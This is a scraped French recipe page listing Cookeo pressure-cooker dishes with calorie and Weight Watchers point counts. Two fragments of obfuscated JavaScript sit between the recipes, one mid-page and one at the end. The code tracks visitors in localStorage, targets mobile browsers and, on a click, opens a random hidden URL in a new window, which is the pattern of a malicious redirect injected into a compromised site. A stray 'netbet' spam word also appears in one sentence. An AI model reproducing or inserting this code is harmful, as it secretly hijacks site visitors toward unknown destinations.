Recette cookeo diététique clémentines aux pignons

Recette cookeo diététique clémentines aux pignons

Voici une Recette cookeo diététique clémentines aux pignons.  Cette recette présente 120  calories  et 3 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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Chili con carne express weight watchers une recette cookeo

Recette cookeo chili con carne express weight watchersChili con carne express weight watchers au cookeo 

380 CALORIES  8 PP 7 SP

Ingrédients pour 4 personnes

250 gr de bœuf haché

3 oignons émincés

2 cuillères à café d’huile d’olive

1 boite de pulpe de tomates en dés (400gr)

 1 poivron rouge coupés en dés

280 gr de haricots rouges en boite cuit.

2 cuillères à café  de chili en poudre ½ cc de cumin 

Sel et  poivre

120 gr de riz

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les poignons et la viande hachée.

Ajoutez ensuite les poivrons, la boite de tomates concassées, les haricots rouges, le riz

Saupoudrez d’épice à chili et versez de l’eau pour recouvrir les ingrédients.

Salez et poivrez selon votre convenance.

Mode cuisson rapide ou sous pression

Programmez 6 mn (le temps indiqué sur le paquet de riz divisé par 2)

Servez chaud



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1000 RECETTES COOKEO 1

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http://sport-et-regime.com/comment-te

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Chili con carne express weight watchers au cookeo




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Recette cookeo diététique filet de saumon aux poireaux

saumon-poireaux-fiche
Voici une Recette cookeo diététique filet de saumon aux poireaux.  Cette recette présente 250  calories  et 5 propoints 7 SP  pour les amateurs de recettes weight
watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



//

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Recette cookeo diététique encornets à la tomate

encornets-tomtes-fiche

Voici une Recette cookeo diététique encornets à la tomate.  Cette recette présente 230  calories  et 5 propoints ET 5 SP pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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Recette cookeo été artichaut sauce au thon

Recette cookeo été artichaut sauce au thon

Recette cookeo été artichaut sauce au thon.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

 

1000 RECETTES COOKEO 1



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Recette cookeo diététique moules marinières

 

Recette cookeo diététique moules marinières
Voici une Recette cookeo diététique moules marinières.  Cette recette présente 135  calories  et 3 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de netbet l’article.

ONGLET pdf

1000 RECETTES COOKEO 1



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Recette cookeo aiguillettes de canard à l’échalote

Recette cookeo aiguillettes de canard à l'échalote

Recette cookeo aiguillettes de canard à l’échalote

Ingrédients pour 4 personnes

600 g d’aiguillettes de canard

2 échalotes

Sel

Poivre

Huile d’olive

1 grand verre de vin rouge

1  petit pot de fromage blanc

 

Préparation

Fonction dorer

Versez l’huile d’olive dans la cuve. Faites dorer les morceaux d’échalotes.

Ajoutez les aiguillettes de canard. Versez le verre de vin rouge et un grand verre d’eau .

Salez et poivrez selon votre convenance .

Ajoutez le pot de fromage blanc ,mélangez.

Mode cuisson rapide ou sous pression

Programmez 10 mn.

Servez chaud .

1000 RECETTES ICI 

1000 RECETTES COOKEO




//
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Recette cookeo diététique escalopes de poulet basquaise

 

ESCALOPE POULET BASQUAISE

Voici une Recette cookeo diététique escalopes de poulet basquaise .  Cette recette présente 245  calories  et 5 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



//

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Recette cookeo diététique blanquette de porc

BLANQUETTE DE PORC
Voici une recette cookeo diététique blanquette de porc . Cette recette présente 236 calories . 

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

1000 RECETTES COOKEO ICI

1000 RECETTES COOKEO 1



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Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Ingrédients pour 6 personnes

1 rôti de porc

200 g de champignons de Paris congelés

3 pommes coupées en morceaux

100 g d’oignons congelés

330 ml de cidre

1 verre d’eau

Sel

Poivre

Huile d’olive

1 cube de bouillon de bœuf

2 cuillères à soupe de crème fraîche

Préparation

Faites dorer le rôti avec de l’huile d’olive dans la cuve, puis ajoutez les oignons.

Ajoutez ensuite les champignons de Paris, les pommes coupées en morceaux.

Versez le cidre et le verre d’eau avec le cube de bouillon de bœuf émietté.

Salez, poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 30 mn. Servez chaud.

1000 RECETTES COOKEO 1




//
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Recette cookeo lotte aux lardons

recette cookeo lotte aux lardonsVoici une recette cookeo lotte aux lardons de l’application mon cookeo . Vous pouvez imprimer ou créer un PDF de cette fiche .




//
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Recette cookeo riz cantonais une saveur du monde

recette cookeo riz cantonais

Voici une recette cookeo riz cantonais inspirée de la clé USB Moulinex recettes du monde .

Ingrédients pour 6 personnes

360 g de riz (60 g par personne)

3 œufs (1 pour 2 personnes, 2 pour 4 personnes)

Petits pois congelés 3 cuillères à soupe

150 g d’oignons congelés

3 cuillères à soupe de crevettes congelées cuites

3 cuillères à soupe de lardons

1 cuillère à soupe de sauce soja

3 cuillères à soupe de mais

3 cuillères à soupe d’huile (sésame de référence)

500 ml d’eau

Préparation

Mode dorer

Versez l’huile dans la cuve et cassez les œufs. Battez les oeufs en brouillade puis réservez-les.

Faites dorer les lardons puis les oignons.

Ajoutez le mais, les crevettes, le riz.

Versez l’eau et la sauce soja. Salez selon votre convenance. (Pas trop).

Cuisson rapide ou sous pression

Programmez la moitié du temps indiqué sur le paquet du riz.

Mélangez en fin de cuisson les œufs en brouillade .

1000 RECETTES COOKEO 1





//



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Recette cookeo semoule au chocolat

Recette cookeo semoule au chocolat

Recette cookeo semoule au chocolat

Ingrédients

100 g de semoule spéciale dessert

1 l de lait

50 g de sucre en poudre

1 sachet de sucre vanillé

40 g de chocolat noir

2 oeufs

 

Préparation

Mode dorer

Versez le lait dans la cuve et  ajoutez les carrés de chocolat pour les faire fondre .

Quand le chocolat est fondu incorporez la semoule .Ajoutez le sucre en poudre et le sucre vanillé.

Portez le mélange à ébullition . Ajoutez les 2 œufs au début de l’ébullition .

Quand le mélange présente une grosse ébullition et qu’il épaissi arrêter le cookeo et versez dans un saladier ou dans des rammequins.

Laissez refroidir à l’air libre puis  placez au frigo.

1000 RECETTES COOKEO ICI 

1000 RECETTES COOKEO 1





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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());